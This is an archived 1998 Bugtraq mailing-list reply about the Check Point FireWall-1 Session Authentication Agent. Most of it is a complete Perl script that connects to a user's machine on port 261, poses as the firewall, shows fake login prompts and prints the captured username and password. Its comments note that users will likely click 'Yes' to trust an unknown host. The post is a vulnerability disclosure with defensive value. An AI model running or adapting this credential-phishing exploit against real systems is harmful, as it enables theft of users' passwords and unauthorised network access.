Bugtraq mailing list archives
Re: Firewall-1 3.0b Session Agent
From: acd () WEIRDNESS NET (Andrew Danforth)
Date: Fri, 25 Sep 1998 18:24:58 -0400
On Fri, 25 Sep 1998, Brooke Paul wrote:
-----Original Message----- From: Larry Pingree [SMTP:larryp () secure-it net] A problem exists in the Firewall-1 3.0b Session Agent All communications from the Firewall-1 Module to the session agent are non-encrypted. Thus also allowing these communication to be snooped for usernames and passwords.I think it's worth noting that Checkpoint states that the included Session Agent is a 'demo' and not officially supported. The real problem is the protocol they have defined. Even if you attempt to write a secure version it wouldn't interoperate with the firewall.
Where is that stated? I was unable to find any documentation stating that
the Authentication Agent is a demo. I'd be surprised if they advertised
Session Auth as a feature yet claimed that their Agent wasn't supported...
Here's the script that Larry referred to. I whipped it up during his FW-1
class, of all places... :)
---------- SNIP ----------
#!/usr/bin/perl -w
#
# This script connects to a FireWall-1 Session Authentication Agent
# running on Windows 95/NT. It attempts to "authenticate" the remote
# user and returns the resulting username/password.
#
# The agent supports configuration of up to three IP addresses which
# are allowed to submit authentication requests. If there are three
# addresses configured, the user is presented with the following when
# an unknown host connects:
#
# "Authentication request from this IP Address is not allowed."
# [ OK ]
#
# If there are only one or two addresses allowed, the user gets this
# nice little dialog box:
#
# "Do you want to enter this IP to the Firewall-1 list"
# [ YES ] (default) [ NO ]
#
# Guess which button your typical user will click on?
#
# If the agent closes the connection prematurely, you will get strange
# results.
#
# tested vs. FW-1 Authentication Agent 1.1
#
# Andrew Danforth <acd () weirdness net>
require 5.000;
use Socket;
use Getopt::Std;
$| = 1;
$FIREWALL_NAME = "Corporate Firewall";
$PASSWORD_PROMPT = "FireWall-1 password";
$PORT = 261;
die unless getopts('n:p:');
unless ($TARGET_IP = shift) {
print "usage: $0 [-n firewall_name] [-p password_prompt] target_ip\n";
exit(1);
}
$FIREWALL_NAME = $opt_n if (defined $opt_n);
$PASSWORD_PROMPT = $opt_p if (defined $opt_p);
socket(SOCK, AF_INET, SOCK_STREAM, getprotobyname('tcp')) || die "socket: $!";
connect(SOCK, sockaddr_in($PORT, inet_aton($TARGET_IP))) || die "connect: $!";
select(SOCK); $| = 1; select(STDOUT);
print SOCK "220 FW-1 Session Authentication Request from $FIREWALL_NAME\n\r";
print "sent greeting\n";
print SOCK "331 User:\n\r";
print "sent user request\n";
$username = &get_response;
print "username entered: $username\n";
print SOCK "331 *$PASSWORD_PROMPT:\n\r";
$password = &get_response;
print "password entered: $password\n";
print SOCK "200 User $username authenticated by FireWall-1 authentication.\n\r";
print SOCK "230 OK\n\r";
sub get_response {
# this is ugly but it works. the session agent doesn't seem to send proper newlines.
my $input;
$input .= $key while($key = getc SOCK and ord($key));
return $input;
}
Current thread:
- Firewall-1 3.0b Session Agent Larry Pingree (Sep 24)
- <Possible follow-ups>
- Re: Firewall-1 3.0b Session Agent Brooke Paul (Sep 25)
- Re: Firewall-1 3.0b Session Agent Andrew Danforth (Sep 25)
